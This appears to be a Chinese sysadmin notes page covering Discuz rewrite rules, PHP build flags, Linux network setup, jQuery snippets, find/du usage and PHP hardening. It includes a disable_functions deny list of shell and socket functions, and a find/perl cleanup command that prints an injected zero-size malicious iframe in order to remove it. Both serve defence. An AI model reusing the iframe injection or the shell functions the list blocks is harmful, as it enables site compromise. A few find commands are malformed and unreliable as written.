设置Discuz论坛伪静态
把下面代码添加到:
<VirtualHost *:80>
DocumentRoot /data/web_bk/bbs.XXXnet/htdocs
ServerName bbs.XXX.net
<Directory "/data/web_bk/bbs.3snews.net/htdocs">
这里.....
</Directory>
</VirtualHost>
- # 将 RewriteEngine 模式打开
- RewriteEngine On
- # Rewrite 系统规则请勿修改
- RewriteCond %{QUERY_STRING} ^(.*)$
- RewriteRule ^topic-(.+)\.html$ portal.php?mod=topic&topic=$1&%1
- RewriteCond %{QUERY_STRING} ^(.*)$
- RewriteRule ^article-([0-9]+)-([0-9]+)\.html$ portal.php?mod=view&aid=$1&page=$2&%1
- RewriteCond %{QUERY_STRING} ^(.*)$
- RewriteRule ^forum-(\w+)-([0-9]+)\.html$ forum.php?mod=forumdisplay&fid=$1&page=$2&%1
- RewriteCond %{QUERY_STRING} ^(.*)$
- RewriteRule ^thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ forum.php?mod=viewthread&tid=$1&extra=page\%3D$3&page=$2&%1
- RewriteCond %{QUERY_STRING} ^(.*)$
- RewriteRule ^group-([0-9]+)-([0-9]+)\.html$ forum.php?mod=group&fid=$1&page=$2&%1
- RewriteCond %{QUERY_STRING} ^(.*)$
- RewriteRule ^space-(username|uid)-(.+)\.html$ home.php?mod=space&$1=$2&%1
- RewriteCond %{QUERY_STRING} ^(.*)$
- RewriteRule ^blog-([0-9]+)-([0-9]+)\.html$ home.php?mod=space&uid=$1&do=blog&id=$2&%1
- RewriteCond %{QUERY_STRING} ^(.*)$
- RewriteRule ^archiver/(fid|tid)-([0-9]+)\.html$ archiver/index.php?action=$1&value=$2&%1
--prefix=/usr/local/PHP php 安装目录
--with-apxs2=/usr/local/apache/bin/apxs 表示使用apache2.0以上版本,apxs表示使用的apache1.0版本
--with-config-file-path=/usr/local/PHP/etc 指定php.ini位置
--with-MySQL=/usr/local/mysql mysql安装目录,对mysql的支持
--with-MySQLi=/usr/local/mysql/bin/mysql_config mysqli文件目录,优化支持
--enable-safe-mode 打开安全模式
--enable-ftp 打开ftp的支持
--enable-zip 打开对zip的支持
--with-bz2 打开对bz2文件的支持
--with-jpeg-dir 打开对jpeg图片的支持
--with-png-dir 打开对png图片的支持
--with-freetype-dir 打开对freetype字体库的支持
--without-iconv 关闭iconv函数,种字符集间的转换
--with-libXML-dir 打开libxml2库的支持
--with-XMLrpc 打开xml-rpc的c语言
--with-zlib-dir 打开zlib库的支持
--with-gd 打开gd库的支持
--enable-gd-native-ttf 支持TrueType字符串函数库
--with-curl 打开curl浏览工具的支持
--with-curlwrappers 运用curl工具打开url流
--with-ttf 打开freetype1.*的支持,可以不加了
--with-xsl 打开XSLT 文件支持,扩展了libXML2库 ,需要libxslt软件
--with-gettext 打开gnu 的gettext 支持,编码库用到
--with-pear 打开pear命令的支持,PHP扩展用的
--enable-calendar 打开日历扩展功能
--enable-mbstring 多字节,字符串的支持
--enable-bcmath 打开图片大小调整,用到zabbix监控的时候用到了这个模块
--enable-sockets 打开 sockets 支持
--enable-exif 图片的元数据支持
--enable-magic-quotes 魔术引用的支持
--disable-rpath 关闭额外的运行库文件
--disable-debug 关闭调试模式
--with-mime-magic=/usr/share/file/magic.mime 魔术头文件位置
CGI方式安装才用的参数
--enable-fpm 打上PHP-fpm 补丁后才有这个参数,CGI方式安装的启动程序
--enable-fastCGI 支持fastcgi方式启动PHP
--enable-force-CGI-redirect 同上 ,帮助里没有解释
--with-ncurses 支持ncurses 屏幕绘制以及基于文本终端的图形互动功能的动态库
--enable-pcntl freeTDS需要用到的,可能是链接mssql 才用到
mhash和mcrypt算法的扩展
--with-mcrypt 算法
--with-mhash 算法
--with-gmp
--enable-inline-optimization
--with-openssl openssl的支持,加密传输时用到的
--enable-dbase
--with-pcre-dir=/usr/local/bin/pcre-config perl的正则库案安装位置
--disable-dmalloc
--with-gdbm dba的gdbm支持
--enable-sigchild
--enable-sysvsem
--enable-sysvshm
--enable-zend-multibyte 支持zend的多字节
--enable-mbregex
--enable-wddx
--enable-shmop
--enable-soap
解决php的It is not safe to rely on the system’s timezone settings的问题
date
Warning: phpinfo() [function.phpinfo]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'America/New_York' for 'EST/-5.0/no DST' instead in /usr/local/apache/htdocs/index.php on line 2
http://tiyan100.gd.chinamobile.com/
解决办法,在php.ini里加上
date.timezone = PRC
修改完成重启Apache时间还是错误,查看phpinfo页面信息显示:Loaded Configuration File为:none
Configuration File (php.ini) Path:/usr/local/php/etc 把php.ini 拷贝到该目录
全路径 /usr/local/php/etc/php.ini
之后再重启Apache,
Linux 网络连接终端配置
Debian.5.0.6---->7.3/ 网络连接终端配置
修改网络配置文件 : 修改 /etc/network/interfaces
- # The primary network interface
- auto eth0
- iface eth0 inet static
- address 192.168.1.252
- netmask 255.255.255.0
- gateway 192.168.1.1
----------k----------
H <--- 点 ---> L
----------J---------
VI 删除 配合方向坐位标,如删除右边一个字符是:dL
Debian 重启网络命令: /etc/init.d/networking restart
######################################################################
CentOS-6.5 网络连接终端配置
修改网络配置文件 : 修改 /etc/sysconfig/network-scripts/ifcfg-eth0
- ONBOOT=yes
- BOOTPROTO=static
- IPADDR=192.168.1.10
- NETMASK=255.255.255.0
- GATEWAY=192.168.1.1
- DNS1=192.168.1.1
- BOOTPROTO=dhcp (这里是原来的设置,就是自动获取IP)
========================================
重新导入ifcfg-eth0网络配置文件
[root@localhost ~]# /etc/init.d/network reload
网卡接口关闭与激活
[root@localhost ~]# ifdown eth0 #关闭网络
[root@localhost ~]# ifup eth0 #启动网络网络服务启动与关闭
方法一:
[root@localhost ~]# service network stop #关闭网络服务
[root@localhost ~]# service network start #启动网络服务
[root@localhost ~]# service network restart #重启网络服务
方法二:
[root@localhost ~]# /etc/init.d/network stop
[root@localhost ~]# /etc/init.d/network start
[root@localhost ~]# /etc/init.d/network restart网卡状态查询
[root@localhost ~]# service network status
Configured devices:
lo eth0
Currently active devices:
lo eth0
jQuery 获取屏幕高度、宽度
- 做手机Web开发做浏览器兼容用到了,所以在网上找了些汇总下。
- alert($(window).height()); //浏览器当前窗口可视区域高度
- alert($(document).height()); //浏览器当前窗口文档的高度
- alert($(document.body).height());//浏览器当前窗口文档body的高度
- alert($(document.body).outerHeight(true));//浏览器当前窗口文档body的总高度 包括border padding margin
- alert($(window).width()); //浏览器当前窗口可视区域宽度
- alert($(document).width());//浏览器当前窗口文档对象宽度
- alert($(document.body).width());//浏览器当前窗口文档body的高度
- alert($(document.body).outerWidth(true));//浏览器当前窗口文档body的总宽度 包括border padding margin
- // 获取页面的高度、宽度
- function getPageSize() {
- var xScroll, yScroll;
- if (window.innerHeight && window.scrollMaxY) {
- xScroll = window.innerWidth + window.scrollMaxX;
- yScroll = window.innerHeight + window.scrollMaxY;
- } else {
- if (document.body.scrollHeight > document.body.offsetHeight) { // all but Explorer Mac
- xScroll = document.body.scrollWidth;
- yScroll = document.body.scrollHeight;
- } else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
- xScroll = document.body.offsetWidth;
- yScroll = document.body.offsetHeight;
- }
- }
- var windowWidth, windowHeight;
- if (self.innerHeight) { // all except Explorer
- if (document.documentElement.clientWidth) {
- windowWidth = document.documentElement.clientWidth;
- } else {
- windowWidth = self.innerWidth;
- }
- windowHeight = self.innerHeight;
- } else {
- if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
- windowWidth = document.documentElement.clientWidth;
- windowHeight = document.documentElement.clientHeight;
- } else {
- if (document.body) { // other Explorers
- windowWidth = document.body.clientWidth;
- windowHeight = document.body.clientHeight;
- }
- }
- }
- // for small pages with total height less then height of the viewport
- if (yScroll < windowHeight) {
- pageHeight = windowHeight;
- } else {
- pageHeight = yScroll;
- }
- // for small pages with total width less then width of the viewport
- if (xScroll < windowWidth) {
- pageWidth = xScroll;
- } else {
- pageWidth = windowWidth;
- }
- arrayPageSize = new Array(pageWidth, pageHeight, windowWidth, windowHeight);
- return arrayPageSize;
- }
- // 滚动条
- document.body.scrollTop;
- $(document).scrollTop();
- $("#content").height();
- $("#content").innerHeight();//元素内部区域高度,忽略padding、border
- $("#content").outerHeight();//忽略边框
- $("#content").outerHeight(true);//包含边框高度
PHP禁止一些有潜在威胁性的函数
根据电脑51我改动过的:
- disable_functions = phpinfo,system,passthru,eval,exec,chroot,chgrp,chown,scandir,shell_exec,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen,popen,proc_open,opendir
disable_functions = system,passthru,exec,shell_exec,phpinfo,get_current_user,ini_restore,dl,scandir,popen,proc_open,opendir
其中opendir这个是文件浏览的重要函数,禁了这个,大部分PHP木马都没门了。
不过会对一些正常的PHP有时候会造成影响,但是不影响正常使用。比如DZ论坛的后台 文件校验、运行记录等。就有影响了。。。
更严格的一些函数:
- disable_functions = phpinfo,system,passthru,exec,chroot,chgrp,chown,scandir,shell_exec,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,proc_open,opendir
ssh-sftp 连接远程主机
sftp -oPort=18083 root@10.200.27.68:/
ssh root@10.200.27.68 -p 18083
putty字体大小颜色、全屏/退出全屏快捷键 保存session设置
字体大小设置
Window->Appearance->Font settings—>Change按钮设置(我的设置为16)字体为(Consolas)
字体颜色设置
Window->Colours->Default Foreground->Modify设置(我喜欢绿色设置:R:0 G:255 B:0)
此外在默认的黑色背景下 蓝色看不太清楚,可以把Window->Colours->ANSI Blue 更改一下设置(我设置为R:255 G:0 B:128)
全屏/退出全屏的快捷键设置
Window->Behaviour最下面有个Full screen on Alt-Enter 勾上就可以了。
保存session
设置完了之后要保存这些设置以便下次打开还是这些设置,就要保存Session .
Session->Saved Sessions 中输入一个名字然后Save保存就可以了,下次登录的时候点击这个保存的名字 Open 就打开putty了。
下面是我的putty截图(Centos-6.4)
find命令详解,实例查看当前目录文件总数
查看当前目录文件总数:
[root@vps 1010 shellimage]#find . -type f |wc -l
1:查找文件
find . -type f -name "*.html"|xargs grep ‘yourstring’
2:查找并替换
find -name '要查找的文件名' | xargs perl -pi -e 's|被替换的字符串|替换后的字符串|g'
下面这个例子就是将当前目录及所有子目录下的所有*.shtml文件中的”<iframe src=http://com-indexl.com/ask/admin.html width=0 height=0></iframe>“替换为”(空)“.
find . -type f -name "*.shtml"|xargs perl -pi -e 's|<iframe src=http://com-indexl.com/ask/admin.html width=0 height=0></iframe>| |g'
这里用到了Perl语言,
perl -pi -e
在Perl 命令中加上-e 选项,后跟一行代码,那它就会像运行一个普通的Perl 脚本那样运行该代码.
从命令行中使用Perl 能够帮助实现一些强大的、实时的转换。认真研究正则表达式,并正确地使用,将会为您省去大量的手工编辑工作。
3:批量修改文件夹权限
find . -type -d -name *.html|xargs chmod 755
4:批量修改文件权限
find . -type -f -name *.html|xargs chmod 644
一些其它参考
find -name april* 在当前目录下查找以april开始的文件
find -name april* fprint file 在当前目录下查找以april开始的文件,并把结果输出到file中
find -name ap* -o -name may* 查找以ap或may开头的文件
find /mnt -name tom.txt -ftype vfat 在/mnt下查找名称为tom.txt且文件系统类型为vfat的文件
find /mnt -name t.txt ! -ftype vfat 在/mnt下查找名称为tom.txt且文件系统类型不为vfat的文件
find /tmp -name wa* -type l 在/tmp下查找名为wa开头且类型为符号链接的文件
find /home -mtime -2 在/home下查最近两天内改动过的文件
find /home -atime -1 查1天之内被存取过的文件
find /home -mmin +60 在/home下查60分钟前改动过的文件
find /home -amin +30 查最近30分钟前被存取过的文件
find ./ -name "*.php" | xargs grep '关键字' 查找当前目录下面所有的php文件里面某个关键字
查看目录或者文件大小命令du
查看当前目录下近子级目录占用大小(9.2M)是当前目录下总数:
du -h --max-depth=1
可以更改--max-depth参数的值,该参数表示查询子目录的层级,当前为1层
[root@www home]# du -h --max-depth=1